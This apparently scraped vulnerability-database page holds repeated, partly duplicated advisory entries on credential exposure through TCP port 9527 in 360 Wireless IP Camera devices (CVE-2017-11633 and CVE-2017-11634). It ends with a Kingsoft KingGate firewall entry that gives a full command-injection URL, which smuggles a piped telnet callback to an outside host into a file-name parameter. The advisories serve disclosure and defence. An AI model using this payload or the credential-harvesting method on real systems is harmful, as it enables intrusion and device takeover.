EUVD-2017-3245

Malware in sbrugna...

360 Wireless IP Camera Information Disclosure Vulnerability

360 Wireless IP Camera is a webcam product from China's Qihoo 360 Qihu 360. A security vulnerability exists in 360 Wireless IP Camera. A remote attacker can exploit this vulnerability by connecting to TCP port 9527 and reading the InsertConnect field to obtain RTSP credentials...

Design/Logic Flaw

An issue was discovered on Wireless IP Camera 360 devices. Remote attackers can discover RTSP credentials by connecting to TCP port 9527 and reading the InsertConnect field...

CVE-2017-11633

An issue was discovered on Wireless IP Camera 360 devices. Remote attackers can discover RTSP credentials by connecting to TCP port 9527 and reading the InsertConnect field...

CVE-2017-11634

An issue was discovered on Wireless IP Camera 360 devices. Remote attackers can discover a weakly encoded admin password by connecting to TCP port 9527 and reading the password field of the debugging information, e.g., nTBCS19C corresponds to a password of 123456...

Default credentials

An issue was discovered on Wireless IP Camera 360 devices. Remote attackers can discover a weakly encoded admin password by connecting to TCP port 9527 and reading the password field of the debugging information, e.g., nTBCS19C corresponds to a password of 123456...

CVE-2017-11633

An issue was discovered on Wireless IP Camera 360 devices. Remote attackers can discover RTSP credentials by connecting to TCP port 9527 and reading the InsertConnect field...

CVE-2017-11634

The CVE-2017-11634 issue affects Wireless IP Camera 360 devices. Remote attackers can read a weakly encoded admin password by connecting to TCP port 9527 and inspecting the debugging information; for example, nTBCS19C corresponds to the password 123456. The vulnerability has a high/critical impac...

CVE-2017-11633

The CVE-2017-11633 issue affects Wireless IP Camera 360 devices. Affected component: RTSP credential handling on the device. Root cause: remote attackers can read the InsertConnect field by connecting to TCP port 9527, leading to exposure of RTSP credentials. Publicly stated impact is credential ...

CVE-2017-11634

An issue was discovered on Wireless IP Camera 360 devices. Remote attackers can discover a weakly encoded admin password by connecting to TCP port 9527 and reading the password field of the debugging information, e.g., nTBCS19C corresponds to a password of 123456...

Kingsoft KingGate firewall suffers from remote command execution vulnerability (CNVD-2016-05715)

KingGate Firewall is a firewall product. Kingsoft KingGate Firewall has a remote command execution vulnerability. Construct URL: https://target/src/application/log/auditmail.php?IGfilename=1|telnet%20public server ip%209527;echo%20&tablename=3333 can execute system commands on public network The...